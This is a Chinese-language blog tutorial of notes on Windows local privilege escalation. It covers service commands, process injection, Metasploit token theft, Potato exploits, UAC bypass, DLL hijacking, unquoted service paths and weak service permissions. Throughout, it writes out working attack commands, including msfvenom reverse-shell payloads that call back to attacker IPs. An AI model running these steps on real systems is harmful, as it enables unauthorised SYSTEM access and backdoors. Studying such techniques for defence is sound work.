当前位置: 首页 > article >正文

本地提权【笔记总结】

文章目录

  • 服务命令
      • at命令提权
          • 介绍
          • 适用版本
          • 复现
      • sc命令提权
          • 介绍
          • 适用版本
          • 复现
      • ps应用程序提权
          • 复现
  • 进程注入
      • 进程迁移注入
          • 介绍
          • 条件
          • 复现
      • MSF自动化注入
          • 介绍
          • getsystem
            • 原理
          • 复现
  • MSF令牌窃取
          • 介绍
          • 复现
      • 烂土豆提权
          • 介绍
          • 适用版本
          • 复现
  • UAC绕过
      • 介绍
      • 复现
          • 使用`ask模块`绕过
          • 使用`bypassuac_sluihijack`模块绕过
          • 使用`bypassuac_silentcleanup`模块绕过
          • UACME工具绕过
            • 工具下载
            • 复现
  • DLL劫持提权
      • 介绍
      • 原理
          • DLL替换
          • 路径不带引号绕过
      • 复现
          • DLL劫持
          • 路径不带引号绕过
  • 不安全服务
      • 介绍
      • 利用方式
      • 复现

服务命令

  1. at命令提权

    1. 介绍
      1. at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。
    2. 适用版本
      1. Win2000&Win2003&XP中还是存在的,在Win7以后被剔除当我们拿到低权限的用户,通过连接上服务器后,可以通过at命令来进行本地提权。
    3. 复现
      1. 直接使用at 21:00 /interactive cmd命令,成功就会弹出黑窗口即使system权限
  2. sc命令提权

    1. 介绍
      1. sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
    2. 适用版本
      1. windows7、8、03、08、12、16(win2003 ok其他未测基本失败)
    3. 复现
      1. 创建服务,直接使用以下命令其中一条即可

        1.  sc create syscmd binPath= "cmd /K start" type= own type= interact start= demand error= normal
           sc Create syscmd binPath="cmd /K start" type = own type = interact
          
      2. 启动该服务,sc start stscmd

        1. image
  3. ps应用程序提权

    1. 复现
      1. 直接将PsExec.exe上传至靶机之后,运行PsExec.exe -accepteula -s -i -d cmd命令即可

        1. 工具地址:https://pan.baidu.com/s/1qnZOprljTBwFnt06TCEsWA?pwd=cong
        2. image
      2. 有些计算机是直接弹出有些还需要点击,这与UAC的值相关

进程注入

  1. 进程迁移注入

    1. 介绍
      1. 进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
    2. 条件
      1. 这里如果使用的是web权限是无法执行的,必须获取到类似与administrator的权限才能进行进程注入。同时这类提权是不会被杀毒软件拦截的,这是系统的一种特性。
    3. 复现
      1. 首先上传pinjector.exe工具

        1. 工具地址:https://pan.baidu.com/s/1S41aqaaEFsQ_ZrNvrWss1w?pwd=cong
      2. 使用工具列出所有进程pinjector.exe -l

        1. image
      3. 选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口pinjector.exe -p <pid> cmd <port>

        1. image
  2. MSF自动化注入

    1. 介绍
      1. 这个提权其实很简单,这个MSF自动化提权和之前在溢出提权中提到的自动化提权是不一样的,溢出提权中提到的自动化提权是通过比对补丁信息进行提权,而这个是自动化提权是直接输入命令后,MSF自动执行,只会显示提权成功与失败。
    2. getsystem
      1. 原理
        1. getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
        2. getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
        3. Windows服务已启动,导致与命名管道建立连接。
        4. 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
      2. 复现
        1. 连接上了直接使用getsystem即可

MSF令牌窃取

  1. 介绍
    1. 首先需要生成一个木马然后让其上线,并连接上去,这里我就用之前已经生成好的木马,就不再生成了,在上面也提到过MSF生成木马的命令。
  2. 复现
    1. 先用msf生成后门,连接后门

    2. 使用一下命令即可

      1.  use incognito
         list_tokens -u           #列出有的令牌
         impersonate_token "NT AUTHORITY\SYSTEM"    #窃取system令牌
        
      2. image
  3. 烂土豆提权

    1. 介绍
      1. 烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。

        欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端,对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的,模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

    2. 适用版本
      1. Windows 7/8/10,Windows server 2008/2012
    3. 复现
      1. 将工具上传至靶机

        1. 工具下载;Release Fresh potatoes · ohpe/juicy-potato (github.com)
      2. 使用msf工具执行以下命令

        1.  execute -cH -f ./potato.exe    ##执行烂土豆程序
           use incognito                  ##加载窃取功能
           list_tokens -u                 ##查看可窃取的令牌
           impersonate_token "NT AUTHORITY\SYSTEM"   ##使用令牌
          
      3. image

UAC绕过

  1. 介绍

    1. UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。
    2. 也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
    3. 使用msconfig命令即可打开查看
  2. 复现

    1. 使用ask模块绕过
      1. 搜索UAC,search uac,找一个喜欢的模块进行攻击

        1. image
      2. 选好模块之后执行以下命令

        1.  use exploit/windows/local/ask    ##选择模块
           sessions         ##查看后台进程
           set session 1    ##选择进程
           set lport 5555   ##设置监听端口,有时候返回回来会出现错误,所以就另起一个监听。
          
      3. image

    2. 使用bypassuac_sluihijack模块绕过
      1. 直接使用以下命令

        1.  use exploit/windows/local/bypassuac   ##选择bypass
           sessions         ##选择会话
           set session 1    ##设定会话
           set lport 5555   ##设定反弹端口,这里不设置也可以,但是有时候直接反弹回来,会出现反弹不成功的情况。
           run  ##执行
          
    3. 使用bypassuac_silentcleanup模块绕过
      1. 直接使用以下命令即可

        1.  use exploit/windows/local/bypassuac_silentcleanup   ##选择模块
           sessions    ##选择会话
           set session 5   ##设置会话
           set lport 6666  ##设置监听端口
           run   ##执行
          
    4. UACME工具绕过
      1. 工具下载
        1. 老版工具:https://pan.baidu.com/s/1rTzxW60frZL65Q_6Nz10XQ?pwd=cong
        2. 新版需要自己编译:UACMe
      2. 复现
        1. 这个工具挺牛的,竟然把我本机给提权了

        2. 使用msf生成后门进行监听5577端口

        3. 将工具上传至靶机,使用以下命令Akagi64.exe 41 D:\Desktop\UACME-Akagi\cong.exe,这个数字是使用第几个模块,通过不断尝试,在41模块中可以进行提权,61模块也不错

          1. image
          2. image

DLL劫持提权

  1. 介绍

    1. DLL劫持是一种安全攻击技术,它利用Windows操作系统在加载动态链接库(DLL)时的行为特点。在这种攻击中,攻击者将恶意的DLL文件放置在操作系统或应用程序预期加载合法DLL的位置。当应用程序或操作系统尝试加载其所需的DLL时,由于路径或加载顺序的问题,系统会错误地加载攻击者提供的恶意DLL。这可以使攻击者执行任意代码,从而实现提权或其他恶意行为。此技术常被用于绕过安全限制,获取更高的系统权限,或在系统中植入恶意软件。
  2. 原理

    1. DLL替换
      1. Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径。

        它会根据下面的顺序进行搜索:

        1、应用程序加载的目录
        2、C:\Windows\System32
        3、C:\Windows\System
        4、C:\Windows
        5、当前工作目录 Current Working Directory,CWD
        6、在 PATH 环境变量的目录(先系统后用户)

        程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

    2. 路径不带引号绕过
      1. 当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行路径,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
      2. 不过这个确实局限性还是很大的,比如虚拟机中没有找到这样的情况,实体机没有找到,客户现场机器也没找到…同时还有一个问题是就算有,很多都是在C盘中,如果基本权限不够大,那么也凉凉,也用不了。
  3. 复现

    1. DLL劫持
      1. 工具下载: https://pan.baidu.com/s/1CQtyIl_utGbAAa5VrJdCzg?pwd=cong

      2. 首先先收集dll文件

        1. 这里会出现一个问题,没有远程桌面我们如何收集,这里其实有个很简单的办法就是,通过上线普通木马后,看看能不能查看有存在哪些服务,然后找到相关服务本地安装,安装后使用火绒剑等工具进行查找加载的dll文件即可。

          像系统文件加载的dll我们是动不了的,我们一般能懂的都是未知文件和数字签名文件。

        2. image

      3. 使用工具检测是否可以进行劫持

        1. image
      4. 通过msf生成后门dll文件,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5577 -f dll >libeay32.dll

      5. 使用msf监听5577端口

      6. 当靶机使用ftp时自动触发后门

    2. 路径不带引号绕过
      1. 通过wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """命令来寻找是否存在不带引号具有空格的特征

        1. image
        2. image
      2. 利用msf生成后门,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o Microsoft.exe

      3. 启动监听,重启服务即可

      4. 没有独显成功,即使将杀毒软件关闭,系统也会自动清理掉这个病毒,因该需要做下免杀

不安全服务

  1. 介绍

    1. Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。
  2. 利用方式

    1. 将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得system权限,这里可以利用accesschk.exe工具辅助实现。
    2. accesschk是一个windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件,由于它是微软官方出品,我们将其上传至靶机,执行不会受到阻碍。
  3. 复现

    1. 工具下载:accesschk.exe

    2. 查看工具帮助,accesschk.exe /accepteula

      1. image
    3. 查看用户可以修改哪些服务的权限,accesschk.exe -uwcqv "Administrators" *

      1. image
    4. 修改服务路径,sc config napagent binpath= "C:\Microsoft.exe"(Microsoft.exe为木马)

      1. image
    5. 启动监听和启动服务

      1. image
      2. 并不是system服务,其次很容易掉线,可能是选错了服务


http://www.kler.cn/news/314982.html

相关文章:

  • 《AI:开启未来的无限可能》
  • 【django】局域网访问django启动的项目
  • MongoDB解说
  • 机器人速度雅可比矩阵(机器人动力学)
  • 自动化立体仓库与堆垛机单元的技术参数
  • 设计模式之结构型模式例题
  • 简单题35-搜索插入位置(Java and Python)20240919
  • 如何使用 C# 解决 Cloudflare Turnstile CAPTCHA 挑战
  • Flyway 基本概念
  • 零停机部署的“秘密武器”:为什么 Kamal Proxy 能成为你架构中的不二之选?
  • 面试金典题2.2
  • HarmonyOS 速记
  • java 面试题总结(基础篇)
  • 中泰免签,准备去泰国旅游了吗?《泰语翻译通》app支持文本翻译和语音识别翻译,解放双手对着说话就能翻译。
  • 矩阵分析 线性空间和线性变换 笔记手稿
  • Electron应用程序打包后运行报错cannot find module ‘@vue/cli-service‘
  • 爬虫学习 | 03 爬虫静态网页的爬取(1)
  • 【C++ Primer Plus习题】17.5
  • Linux C高级day3
  • SpringCloud操作mysql
  • 智能工厂的软件设计 运用符号学方法的语言分类学 之0 回顾
  • 感知笔记3:平面和物体检测
  • 2024 vue3入门教程:02 我的第一个vue页面
  • 基于python+django+vue的美术馆预约系统
  • 关于安卓App自动化测试的一些想法
  • c++278函数指针
  • 【Python机器学习】NLP信息提取——正则模式
  • 【LeetCode】146. LRU缓存
  • LeetCode 每日一题 2024/9/16-2024/9/22
  • 自然语言处理_tf-idf